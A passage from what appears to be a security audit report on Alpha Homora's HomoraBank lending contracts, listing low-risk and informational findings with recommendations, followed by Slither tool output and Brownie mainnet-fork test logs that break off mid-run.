(spell/UniswapV2SpellV1.sol#80) ProxyOracle.convertForLiquidation(address,address,uint256,uint256) (oracle/ProxyOracle.sol#63-78) performs a multiplication on the result of a division: -amountOut = amountIn.mul(oracleIn.source.getETHPx(tokenIn)).div(oracleIn.source.getETHPx(tokenOutUnderlying)) (oracle/ProxyOracle.sol#73-76) -amountOut.mul(oracleIn.liqIncentive).mul(oracleOut.liqIncentive).div(10000 * 10000) (oracle/ProxyOracle.sol#77) ProxyOracle.asETHCollateral(address,uint256,uint256) (oracle/ProxyOracle.sol#81-91) performs a multiplication on the result of a division: -ethValue = oracle.source.getETHPx(tokenUnderlying).mul(amount).div(2 ** 112) (oracle/ProxyOracle.sol#89) -ethValue.mul(oracle.collateralFactor).div(10000) (oracle/ProxyOracle.sol#90) ProxyOracle.asETHBorrow(address,uint256) (oracle/ProxyOracle.sol#94-98) performs a multiplication on the result of a division: -ethValue = oracle.source.getETHPx(token).mul(amount).div(2 ** 112) (oracle/ProxyOracle.sol#96) -ethValue.mul(oracle.borrowFactor).div(10000) (oracle/ProxyOracle.sol#97) QSP-7 No fallback oracle if primary fails. Severity: Low Risk Acknowledged Status: If Keep3r workers stop updating their oracles due to on-chain or off-chain problems, or any of those services is killed by their organizations, has no alternative source of prices and most services of such as main service stops working. Description:BaseKP3ROracle HomoraBank execute() : Alpha team stated that they will add a secondary oracle later. 2020-12-18 update Add fail-safe mechanism, secondary oracle, or even calculate price data based on the results gathered from multiple data sources. Recommendation: QSP-8 may not be able to return borrowed funds to integrated lending protocols during flash crash HomoraBank Severity: Low Risk Acknowledged Status: During a flash crash, the price of assets drop suddenly. Under this condition, the liquidators might not be fast enough (or incentivized enough) to liquidate the collaterals. Even eventually the liquidators successfully liquidate all the collaterals, the liquidation price could be very low and the amount of borrowed token being repaid could be unexpectedly small. This might cause contract to hold insufficient amounts of borrowed tokens that can be used to repay the debt. Description:HomoraBank : Alpha team stated that collateral and borrow factor will be set appropriately in order to serve as a buffer when price drops suddenly. 2020-12-18 update Auto-liquidation mechanism could be developed to mitigate this risk. Reference: https://app.nuo.network/ Recommendation: QSP-9 Potentially high gas usage in getBorrowETHValue Severity: Low Risk Fixed Status: Potentially high gas usage in as the number of banks (i.e., supported tokens) increases. Description: getBorrowETHValue : Alpha team fixes this issue by using a bitmap to iterate over banks debt. 2020-12-18 update A solution is to make into a linked list of its non-zero entries. Recommendation: debtShareOf // Example struct Node { uint debt; address previous; address next; } struct Position { … mapping(address => Node) debtShareOf; } QSP-10 Attacker can front-run initialization of new HomoraBank Severity: Low Risk Mitigated Status: In : any two calls to depend on ordering. The first caller becomes the governor, an attacker can front-run any HomoraBank initialization and cause a Denial-of-Service. Description:contracts/HomoraBank.sol initialize() : Alpha team stated that they will deploy the contract and finish the initialization within one transaction. 2020-12-18 update If upgrades to this contract are planned, use widely-used or standard libraries for upgradeability. Don't manually deploy new versions. Recommendation: QSP-11 Privileged Roles Severity: Informational Acknowledged Status: (a) The of contract can use the function to withdraw any amount of tokens from the contract. (c) The of contract can manipulate the price oracles that are used in the system, at any time. (b) The of contract can manipulate the price data used in the system, at any time. Description:governor contracts/HomoraBank.sol withdrawReserve governor contracts/oracle/ProxyOracle.sol governor contracts/oracle/SimpleOracle.sol : Alpha team stated that they will communicate this information with end-users. 2020-12-18 update These privileged operations and their potential consequences should be clearly communicated to (non-technical) end-users via publicly available documentation. Recommendation: QSP-12 Transmit arbitrary amount of token from a position owner to a spell contract and get lockedSeverity: Informational Acknowledged Status: : function can be called by a position owner through the function and transfer any amount of token to the address specified when calling . Users could lose their fund if there are no methods in the destination spell contract that can send the asset back. Description:contracts/HomoraBank.sol transmit HomoraCaster.cast target HomoraCaster.cast() : Alpha team stated that they will communicate the best practice of writing good spells with end-users, and make sure the ones provided by Alpha team will be audited. 2020-12-18 update QSP-13 Missing approval in function setCToken Severity: Informational Fixed Status: : function should the newly added . Description: contracts/HomoraBank.sol setCToken safeApprove cToken QSP-14 Missing input checks Severity: Informational Fixed Status: : function should check if is not . Description: contracts/HomoraBank.sol initialize IOracle _oracle 0x0 QSP-15 Integer Overflow / Underflow Severity: Undetermined Fixed Status: Integer overflow/underflow occur when an integer hits its bit-size limit. Every integer has a set range; when that range is passed, the value loops back around. A clock is a good analogy: at 11:59, the minute hand goes to 0, not 60, because 59 is the largest possible minute. Integer overflow and underflow may cause many unexpected kinds of behavior and was the core reason for the attack. Here's an example with variables, meaning unsigned integers with a range of . Description:batchOverflow uint8 0..255 function under_over_flow() public { uint8 num_players = 0; num_players = num_players - 1; // 0 - 1 now equals 255! if (num_players == 255) { emit LogUnderflow(); // underflow occurred } uint8 jackpot = 255; jackpot = jackpot + 1; // 255 + 1 now equals 0! if (jackpot == 0) { emit LogOverflow(); // overflow occurred } } was not enforced for arithmetic operations. This would greatly increase the chances of this dapp having underflow/overflow issues and lead to unexpected results. For instance, in , , , , , , , , , and . SafeMathBaseKP3ROracle.sol L28 L32L35L44L48L51L61L62L73: Alpha team considered there is no need for using library for the operations pointed out, and the overflow is intended by design. In addition, QuantStamp would also like to point out that could conceivably overflow in the future (year 2038 problem). 2020-12-18 updateSafeMath L57 : It is confirmed that for the overflow is an expected behavior. See https://uniswap.org/whitepaper.pdf section 2.2.1 for more details. 2021-01-13 update L55 uint32Consider using the library for all of the arithmetic operations Recommendation: SafeMath Automated Analyses Mythril Mythril reported no issues. Slither Slither reported some reentrancy findings. After examining by QuantStamp they are determined as false positives. •Slither listed the precision issues that could be improved through changing the orders, as mentioned in our findings. •Slither suggested that several functions could be declared as external, as mentioned in our findings: •Code Documentation For the code comments, we suggest several improvements: 1. [fixed] Consider adding explanations to the formula in- of in order to check if this implementation sticks to the specification. L77L85contracts/spell/UniswapV2SpellV1.sol2. [fixed]: , : "the list" -> "a list". contracts/HomoraBank.sol L144 L1623. [fixed]: : "execution" -> "execute". contracts/HomoraBank.sol L320 4. [fixed]: : typo "tha". contracts/HomoraBank.sol L346 5. [fixed]: : there is an extra "bank". BasicSpell.sol L107 6. [fixed]: , : missing "@param" for the token argument. BasicSpell.sol L97 L107Adherence to Best Practices The code does not fully adhere to best practices. In particular:1. [fixed] Consider adding checks to make sure that thes are all distinct. Although s are set by the governor, this could be done by accident and could lead to catastrophic results whenever two s share a same and messes up the debt calculation for both s. This is because both s would be borrowing from the same and the is consulted to set the s’ . cTokencToken bank cToken bank bank cToken cToken bank totalDebt2. [fixed]: function , consider also performing when is larger than to avoid under this condition. contracts/HomoraBank.solrepayInternal amountCall = oldDebt amountCall oldDebt revert 3. [fixed]: function in - , consider also performing the assignments of , , and when the argument input is larger than the borrowed balance to avoid under this condition. contracts/spell/UniswapV2SpellV1.solremoveLiquidity L182 L190amtARepay amtBRepay amtLPRepay revert 4. [acknowledged]does not have a permission check to function . This is acceptable since the Alpha team claimed that all assets should not be stored inside a spell contract. However, in reality this design has not been enforced by code because according to the Alpha team they want end users to design their own spell contracts without any limitation. This will introduce additional risk vectors that need to be taken into consideration. contracts/spell/BasicSpell.solensureApprove 5. [acknowledged] Should always be very careful about the whitelisted collateral tokens. The price data can be very easily manipulated if the oracle is based on a Uniswapliquidity pool data and the liquidity is very small (or small enough). And this could lead to catastrophic results. 6. [fixed]: Consider checking that the bank exists in contracts/HomoraBank.sol withdrawReserve 7. [fixed]: Consider checking that the position is active in . contracts/HomoraBank.sol liquidate 8. [fixed] The eventof is never emitted. SetETHPx SimpleOracle.sol 9. [acknowledged] Spells callingwith biggest integer approval is not a good pattern for security. New Spells extensions in the future might need approval for a limited amount of tokens to be safe. And should decrease the allowance whenever that allowance is not needed any more. safeApprove()uint(-1) 10. [fixed] : consider checking in the following functions: , , . contracts/HomoraBank.sol Position.collToken != 0x0 liquidate getCollateralETHValue execute 11. [fixed] Consider usingdeclaration for functions not used in other functions. Functions only called externally by other contracts or users can be only declared as , gas is saved and attackers are given less internal functions and control in case of vulnerabilities. This way they cannot be called from other or functions. For instance, 1) and in , 2) in : : , and 3) in . Consider also checking the results provided by Slither below: externalexternal internal public setPendingGovernor() acceptGovernor() /contracts/Governable.sol initialize() /contracts/HomoraBank.sol /contracts/interfaces/IKeep3rV1Oracle.sol WETH() factory() /contracts/interfaces/IKeep3rV1Oracle.sol supportsInterface(bytes4) should be declared external: - ERC165.supportsInterface(bytes4) (OpenZeppelin/openzeppelin-contracts@3.2.0/contracts/introspection/ERC165.sol#35-37) setCompleted(uint256) should be declared external: - Migrations.setCompleted(uint256) (Migrations.sol#16-18) initialize(IOracle,uint256) should be declared external: - HomoraBank.initialize(IOracle,uint256) (HomoraBank.sol#103-115) WETH() should be declared external: - IKeep3rV1Oracle.WETH() (interfaces/IKeep3rV1Oracle.sol#10) factory() should be declared external: - IKeep3rV1Oracle.factory() (interfaces/IKeep3rV1Oracle.sol#12) balanceOfBatch(address[],uint256[]) should be declared external: - ERC1155.balanceOfBatch(address[],uint256[]) (OpenZeppelin/openzeppelin-contracts@3.2.0/contracts/token/ERC1155/ERC1155.sol#98-117) setApprovalForAll(address,bool) should be declared external: - ERC1155.setApprovalForAll(address,bool) (OpenZeppelin/openzeppelin-contracts@3.2.0/contracts/token/ERC1155/ERC1155.sol#122-127) safeTransferFrom(address,address,uint256,uint256,bytes) should be declared external: - ERC1155.safeTransferFrom(address,address,uint256,uint256,bytes) (OpenZeppelin/openzeppelin-contracts@3.2.0/contracts/token/ERC1155/ERC1155.sol#139-166) safeBatchTransferFrom(address,address,uint256[],uint256[],bytes) should be declared external: - ERC1155.safeBatchTransferFrom(address,address,uint256[],uint256[],bytes) (OpenZeppelin/openzeppelin-contracts@3.2.0/contracts/token/ERC1155/ERC1155.sol#171-207) setPendingGovernor(address) should be declared external: - Governable.setPendingGovernor(address) (Governable.sol#22-24) acceptGovernor() should be declared external: - Governable.acceptGovernor() (Governable.sol#27-31) Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#public-function-that-could-be-declared-as-external Test Results Test Suite Results No unit tests, only functional tests on brownie mainnet-fork. One out of 12 functional tests failed. : Alpha Team stated that the failures from these test cases are possibly due to inconsistent contract name in test scripts and top token holder change (the script depends on top token holders to set up initial user funds for testing). These failures do not affect the core logic of the tests and are fixed in later commits. 2021-01-14 updateBrownie v1.12.2 - Python development framework for Ethereum HomoraVReauditProject is the active project. Launching 'ganache-cli --port 8545 --gasLimit 12000000 --accounts 10 --hardfork istanbul --mnemonic brownie --fork https://mainnet.infura.io/v3/ID'... Running 'uniswap_spell_eth_test.py::main'... Transaction sent: 0x88f8c681dc12efe65e26d2efa59c0b2f7f2cb938e48bcfb6e963ac754b6aea49 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0 WERC20.constructor confirmed - Block: 11462815 Gas used: 1855697 (15.46%) WERC20 deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87 Transaction sent: 0x52aad4031537dd7b6490479adc95fd671f57089422cc77b7abc5813a4fdbf67d Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 SimpleOracle.constructor confirmed - Block: 11462816 Gas used: 417736 (3.48%) SimpleOracle deployed at: 0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6 Transaction sent: 0x1ebc59c18f9a5055c0716b447bb88b1eaa47cc00276d4ae17a9d34677fa503e2 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2 SimpleOracle.setETHPx confirmed - Block: 11462817 Gas used: 38057 (0.32%) Transaction sent: 0x6c91272d1e90416a862a2a1078a868ce3178139d7d96a3c4bcdb7dfd394972fd Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 3 ProxyOracle.constructor confirmed - Block: 11462818 Gas used: 1215346 (10.13%) ProxyOracle deployed at: 0x6951b5Bd815043E3F842c1b026b0Fa888Cc2DD85 Transaction sent: 0x4856a201ead1f639457d2a0f785d38c5ef9ec921e6e0e0401f094aa8d6bfc089 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 4 ProxyOracle.setWhitelistERC1155 confirmed - Block: 11462819 Gas used: 31221 (0.26%) Transaction sent: 0x7009c041cb8b44c67c5ece3a0bc8a2e10b5bfeddbb04a9b23273d71c3dbf0fb2 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 5 UniswapV2Oracle.constructor confirmed - Block: 11462820 Gas used: 384200 (3.20%) UniswapV2Oracle deployed at: 0x6b4BDe1086912A6Cb24ce3dB43b3466e6c72AFd3 Transaction sent: 0x0b05cc58b11a7d91637e88135ec930f8c247b749090198cdc3ac702d45816ad2 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 6 ProxyOracle.constructor confirmed - Block: 11462821 Gas used: 1215346 (10.13%) ProxyOracle deployed at: 0x9E4c14403d7d9A8A782044E86a93CAE09D7B2ac9 Transaction sent: 0xdcd3f1e318654223e624c7e99290b66229f1c4f4fb5dd0c80e7d27ca11f408a5Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 7 ProxyOracle.setWhitelistERC1155 confirmed - Block: 11462822 Gas used: 31221 (0.26%) Transaction sent: 0x5c2009eef35f87ffe5adafea4790d4a782edc193275de2a6fdd56f6c0bd172a9 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 8 ProxyOracle.setOracles confirmed - Block: 11462823 Gas used: 56847 (0.47%) Transaction sent: 0xb714d7c0888a739ce9a7dc616c8cc9cbedb1565373887681864742a38ce5b1c3 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 9 HomoraBank.constructor confirmed - Block: 11462824 Gas used: 3700237 (30.84%) HomoraBank deployed at: 0xa3B53dDCd2E3fC28e8E130288F2aBD8d5EE37472 Transaction sent: 0x1b1e4b5d9674dfbe391cc5a1e7697fc0fdfa085ec073775da35f274c3e4b8212 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 10 HomoraBank.initialize confirmed - Block: 11462825 Gas used: 187114 (1.56%) Transaction sent: 0xf059664a2c3542e5b464bddf28c34c2aad4d901354969ec8a8041a6258234896 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0 ICEtherEx.mint confirmed - Block: 11462826 Gas used: 97948 (0.82%) Transaction sent: 0x69978afc486a2daea613a819e8508bd83eda5b7cca0765c03abc3909f3ddf2dd Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 ICEtherEx.transfer confirmed - Block: 11462827 Gas used: 49998 (0.42%) Transaction sent: 0xbd77d05b5693ea3fc465627ffb86c413662d6491babdc4d6a2b8be7a2d43f53b Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2 IComptroller.enterMarkets confirmed - Block: 11462828 Gas used: 45842 (0.38%) Transaction sent: 0xeb781da7538d7b500e87479a6841bda2934bddf04d7ac0c75bfffec190578fd1 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 11 HomoraBank.addBank confirmed - Block: 11462829 Gas used: 60895 (0.51%) sending from 0xBE0eB53F46cd790Cd13851d5EFf43D12404d33E8 100000000000 Tether USD to 0x33A4622B82D4c04a53e170c638B944ce27cffce3 Transaction sent: 0x28e371d752102f642a04252768343e726d046dc1ae598f0d875feb8b58de2529 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 649 IERC20Ex.transfer confirmed - Block: 11462830 Gas used: 41209 (0.34%) sending from 0x397FF1542f962076d0BFE58eA045FfA2d347ACa0 10000000000000000000000 Wrapped Ether to 0x33A4622B82D4c04a53e170c638B944ce27cffce3 Transaction sent: 0x919bee03b7d4ba7abc9359fef4cc73fd37557d5e478a2c65db4a88a4b4857a64 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 IERC20Ex.transfer confirmed - Block: 11462831 Gas used: 36818 (0.31%) sending from 0xBE0eB53F46cd790Cd13851d5EFf43D12404d33E8 1000000000000 Tether USD to 0xa3B53dDCd2E3fC28e8E130288F2aBD8d5EE37472 Transaction sent: 0x740920a745bcbb15275beb3c69e33b22820bd6828bb4bf9cd27d9a3f100b18cc Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 650 IERC20Ex.transfer confirmed - Block: 11462832 Gas used: 41209 (0.34%) sending from 0x397FF1542f962076d0BFE58eA045FfA2d347ACa0 10000000000000000000000 Wrapped Ether to 0xa3B53dDCd2E3fC28e8E130288F2aBD8d5EE37472 Transaction sent: 0xd7cc7451fa324eda6359ff0e5a1939a7f02da56d9382119d83a25084889433e5 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2 IERC20Ex.transfer confirmed - Block: 11462833 Gas used: 36818 (0.31%) Alice usdt balance 100000000000 Alice weth balance 10000000000000000000000 Transaction sent: 0x91b2b45e70204284af05a07bc5fe306a71b5e3c34dd464697a60270e27cd601a Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 714 IERC20Ex.transfer confirmed - Block: 11462834 Gas used: 35972 (0.30%) Transaction sent: 0x97ca3326753fd5bc8c25e4ab79de88b6382a79edd959fc6cc3fc65168eecc769 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 715 IERC20Ex.transfer confirmed - Block: 11462835 Gas used: 35972 (0.30%) Transaction sent: 0x54635050f65027c2b84e20e9554c4261fbf2a867ad47c60e38b0750f41776341 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 5 IERC20Ex.approve confirmed - Block: 11462836 Gas used: 31297 (0.26%) Transaction sent: 0x1b3f45d4648f863a05d03697186badb445b50cfcfa7c0be11b88039c2c93aca1 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 6 IERC20Ex.approve confirmed - Block: 11462837 Gas used: 31297 (0.26%) Transaction sent: 0xe061e78695659266cbe8749b86bd915c5bcc86bf636acb1cc94b72575dbfb1e5 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 7 IERC20Ex.approve confirmed - Block: 11462838 Gas used: 29264 (0.24%) Transaction sent: 0x63f3662305ddbf3f755cb39a6a6bd3a3eb9a41f2e3f80a562579c9158b23fe97 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 8 IERC20Ex.approve confirmed - Block: 11462839 Gas used: 29286 (0.24%) Transaction sent: 0x9fe9c84714771d84206186dcff798116e44df81a3d2c4c5cb25be8fa25970b4a Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 12 UniswapV2SpellV1.constructor confirmed - Block: 11462840 Gas used: 2407923 (20.07%) UniswapV2SpellV1 deployed at: 0x2c15A315610Bfa5248E4CbCbd693320e9D8E03Cc Transaction sent: 0xf5f29f44def3415c78b59cb86457ec45e1bebceabd0a640155f7f274936841ae Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 13 UniswapV2SpellV1.getPair confirmed - Block: 11462841 Gas used: 105878 (0.88%) ========================================================================= Case 1. Transaction sent: 0x3aba817d3ca3e44ef03a9aa0dcb5e885f6a69ba60de8a776436a5a1e58bf9fb6 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 9 HomoraBank.execute confirmed - Block: 11462842 Gas used: 755414 (6.30%) position_id 1 spell lp balance 0 Alice delta A balance -399999999 Alice delta B balance -1000000000000000000 add liquidity gas 755414 bank lp balance 200000000000000000 bank usdt totalDebt 1000000000 bank usdt totalShare 1000000000 bank prev LP balance 200000000000000000 bank cur LP balance 200000000000000000 werc20 prev LP balance 0 werc20 cur LP balance 10041190583866394 ========================================================================= Case 2. Transaction sent: 0xb786ece13c9e83f7f604d21e3fae9b036de8f420e2870b69c175131b42fcef61 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 10 HomoraBank.execute confirmed - Block: 11462843 Gas used: 433750 (3.61%) spell lp balance 0 spell usdt balance 0 spell weth balance 0 Alice delta A balance 280033941616 Alice delta B balance 0 Alice delta LP balance 1000000000000000 remove liquidity gas 433750 bank delta lp balance 0 bank total lp balance 200000000000000000 bank usdt totalDebt 0 bank usdt totalShare 0 LP want 1000000000000000bank delta LP amount 0 LP take amount 10000000000000000 prev werc20 LP balance 10041190583866394 cur werc20 LP balance 41190583866394 Terminating local RPC client... Brownie v1.12.2 - Python development framework for Ethereum HomoraVReauditProject is the active project. Launching 'ganache-cli --port 8545 --gasLimit 12000000 --accounts 10 --hardfork istanbul --mnemonic brownie --fork https://mainnet.infura.io/v3/ID'... Running 'uniswap_spell_more_add_remove_test.py::main'... Transaction sent: 0x88f8c681dc12efe65e26d2efa59c0b2f7f2cb938e48bcfb6e963ac754b6aea49 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0 WERC20.constructor confirmed - Block: 11462790 Gas used: 1855697 (15.46%) WERC20 deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87 Transaction sent: 0x52aad4031537dd7b6490479adc95fd671f57089422cc77b7abc5813a4fdbf67d Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 SimpleOracle.constructor confirmed - Block: 11462791 Gas used: 417736 (3.48%) SimpleOracle deployed at: 0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6 Transaction sent: 0xe2affc7545b134ad0230e7711efb90915392878e711f94030c2152c1c8d3c2e8 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2 SimpleOracle.setETHPx confirmed - Block: 11462792 Gas used: 38249 (0.32%) Transaction sent: 0x6c91272d1e90416a862a2a1078a868ce3178139d7d96a3c4bcdb7dfd394972fd Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 3 ProxyOracle.constructor confirmed - Block: 11462793 Gas used: 1215346 (10.13%) ProxyOracle deployed at: 0x6951b5Bd815043E3F842c1b026b0Fa888Cc2DD85 Transaction sent: 0x4856a201ead1f639457d2a0f785d38c5ef9ec921e6e0e0401f094aa8d6bfc089 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 4 ProxyOracle.setWhitelistERC1155 confirmed - Block: 11462794 Gas used: 31221 (0.26%) Transaction sent: 0x7009c041cb8b44c67c5ece3a0bc8a2e10b5bfeddbb04a9b23273d71c3dbf0fb2 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 5 UniswapV2Oracle.constructor confirmed - Block: 11462795 Gas used: 384200 (3.20%) UniswapV2Oracle deployed at: 0x6b4BDe1086912A6Cb24ce3dB43b3466e6c72AFd3 Transaction sent: 0x0b05cc58b11a7d91637e88135ec930f8c247b749090198cdc3ac702d45816ad2 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 6 ProxyOracle.constructor confirmed - Block: 11462796 Gas used: 1215346 (10.13%) ProxyOracle deployed at: 0x9E4c14403d7d9A8A782044E86a93CAE09D7B2ac9 Transaction sent: 0xdcd3f1e318654223e624c7e99290b66229f1c4f4fb5dd0c80e7d27ca11f408a5 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 7 ProxyOracle.setWhitelistERC1155 confirmed - Block: 11462797 Gas used: 31221 (0.26%) Transaction sent: 0x0f5c1d48ead6c787209c64a72bc64535a15e16943f179bca29ae8dedc4e1ee59 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 8 ProxyOracle.setOracles confirmed - Block: 11462798 Gas used: 56835 (0.47%) Transaction sent: 0xb714d7c0888a739ce9a7dc616c8cc9cbedb1565373887681864742a38ce5b1c3 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 9 HomoraBank.constructor confirmed - Block: 11462799 Gas used: 3700237 (30.84%) HomoraBank deployed at: 0xa3B53dDCd2E3fC28e8E130288F2aBD8d5EE37472 Transaction sent: 0x1b1e4b5d9674dfbe391cc5a1e7697fc0fdfa085ec073775da35f274c3e4b8212 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 10 HomoraBank.initialize confirmed - Block: 11462800 Gas used: 187114 (1.56%) Transaction sent: 0xf059664a2c3542e5b464bddf28c34c2aad4d901354969ec8a8041a6258234896 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0 ICEtherEx.mint confirmed - Block: 11462801 Gas used: 97948 (0.82%) Transaction sent: 0xd0638e78933941491cb8323ccf0b2e1f348f56ed95329ec3732b0361cddc8866 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 ICEtherEx.transfer confirmed - Block: 11462802 Gas used: 49998 (0.42%) Transaction sent: 0xbd77d05b5693ea3fc465627ffb86c413662d6491babdc4d6a2b8be7a2d43f53b Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2 IComptroller.enterMarkets confirmed - Block: 11462803 Gas used: 45842 (0.38%) Transaction sent: 0xeb781da7538d7b500e87479a6841bda2934bddf04d7ac0c75bfffec190578fd1 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 11 HomoraBank.addBank confirmed - Block: 11462804 Gas used: 60895 (0.51%) Transaction sent: 0x8c8a642ef8badd2706a5814e81f23a7d9ecad9a69476811113cf0ae097211051 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 12 HomoraBank.addBank confirmed - Block: 11462805 Gas used: 70547 (0.59%) sending from 0xBE0eB53F46cd790Cd13851d5EFf43D12404d33E8 1000000000000 Tether USD to 0x33A4622B82D4c04a53e170c638B944ce27cffce3 Transaction sent: 0x73c8e1f266c6244046c9849b1372dcc50a16b2dba6c28f460e147e1c3c11ebde Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 649 IERC20Ex.transfer confirmed - Block: 11462806 Gas used: 41209 (0.34%) sending from 0xA191e578a6736167326d05c119CE0c90849E84B7 1000000000000 USD Coin to 0x33A4622B82D4c04a53e170c638B944ce27cffce3 Transaction sent: 0x62fc1b976800994542fb074a8aeb19f2f8ac427609a716f5af0ce0017b0c33fd Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 IERC20Ex.transfer confirmed - Block: 11462807 Gas used: 42381 (0.35%) sending from 0xBE0eB53F46cd790Cd13851d5EFf43D12404d33E8 1000000000000 Tether USD to 0xa3B53dDCd2E3fC28e8E130288F2aBD8d5EE37472 Transaction sent: 0x740920a745bcbb15275beb3c69e33b22820bd6828bb4bf9cd27d9a3f100b18cc Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 650 IERC20Ex.transfer confirmed - Block: 11462808 Gas used: 41209 (0.34%) sending from 0x397FF1542f962076d0BFE58eA045FfA2d347ACa0 1000000000000 USD Coin to 0xa3B53dDCd2E3fC28e8E130288F2aBD8d5EE37472 Transaction sent: 0x54ed7475e79142cafa1e26f95402149f13fe748cea8066b146120e3e828638d9 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 IERC20Ex.transfer confirmed - Block: 11462809 Gas used: 42381 (0.35%) Alice usdt balance 1000000000000 Alice usdc balance 1000000000000 Transaction sent: 0x4f4ffca4e75079fe7bf867ade566c5a0f857c2d1efdc1d78909bf326e80d3a13 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 347 IERC20Ex.transfer confirmed - Block: 11462810 Gas used: 35936 (0.30%) Transaction sent: 0x54635050f65027c2b84e20e9554c4261fbf2a867ad47c60e38b0750f41776341 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 5 IERC20Ex.approve confirmed - Block: 11462811 Gas used: 31297 (0.26%) Transaction sent: 0x1b3f45d4648f863a05d03697186badb445b50cfcfa7c0be11b88039c2c93aca1 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 6 IERC20Ex.approve confirmed - Block: 11462812 Gas used: 31297 (0.26%) Transaction sent: 0xf031424618e7628fa47df344f9ee6692f22114f5719267617dc81100fe08d50b Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 7IERC20Ex.approve confirmed - Block: 11462813 Gas used: 34811 (0.29%) Transaction sent: 0x3c741af7541b8cbf66618f3e8502af81335e3068ae2bcb982014d811ba7c56d4 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 8 IERC20Ex.approve confirmed - Block: 11462814 Gas used: 34799 (0.29%) Transaction sent: 0x3fac2569a116673f011934b4a6378dbb1f793bf6d3fb3241d24d10dd31eaf83e Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 9 IERC20Ex.approve confirmed - Block: 11462815 Gas used: 29286 (0.24%) Transaction sent: 0xd9626aee0dd271272f31af21a196fe96e7bc949c38203f7105be5884330a2a35 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 13 UniswapV2SpellV1.constructor confirmed - Block: 11462816 Gas used: 2407923 (20.07%) UniswapV2SpellV1 deployed at: 0xe692Cf21B12e0B2717C4bF647F9768Fa58861c8b Transaction sent: 0xb95304bfd940a8698c03085ce793a36726c3d6d0cc2ea71131ba04d834db72bd Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 14 UniswapV2SpellV1.getPair confirmed - Block: 11462817 Gas used: 114134 (0.95%) ========================================================================= Case 1. Transaction sent: 0x56120419c9a8bcaf3ecc79fe7b248ed00f241a1cf757af5775a0af4773b2cc87 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 10 HomoraBank.execute confirmed - Block: 11462818 Gas used: 1121804 (9.35%) position_id 1 spell lp balance 0 Alice delta A balance -40000000000 Alice delta B balance -49999999998 add liquidity gas 1121804 bank lp balance 0 bank usdt debt 1000000000 bank usdt debt share 1000000000 bank usdc debt 200000000 bank usdc debt share 200000000 bank prev LP balance 0 bank cur LP balance 0 werc20 prev LP balance 0 werc20 cur LP balance 41004339342 prev usdt res 9180679057111 cur usdt res 9221679057111 prev usdc res 9171225238380 cur usdc res 9221425238378 ========================================================================= Case 2. Transaction sent: 0x156d5c18496a625a312eba0cb7c026bf86b8348637834bd221918f2dae94c236 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 11 HomoraBank.execute confirmed - Block: 11462819 Gas used: 1106062 (9.22%) position_id 1 spell lp balance 0 Alice delta A balance -20000000000 Alice delta B balance -29999999998 add liquidity gas 1106062 bank lp balance 0 bank usdt debt 2000000086 bank usdt debt share 1999999914 bank usdc debt 400000015 bank usdc debt share 399999985 bank prev LP balance 0 bank cur LP balance 0 werc20 prev LP balance 41004339342 werc20 cur LP balance 64024394824 prev usdt res 9221679057111 cur usdt res 9242679057111 prev usdc res 9221425238378 cur usdc res 9251625238376 ========================================================================= Case 3. Transaction sent: 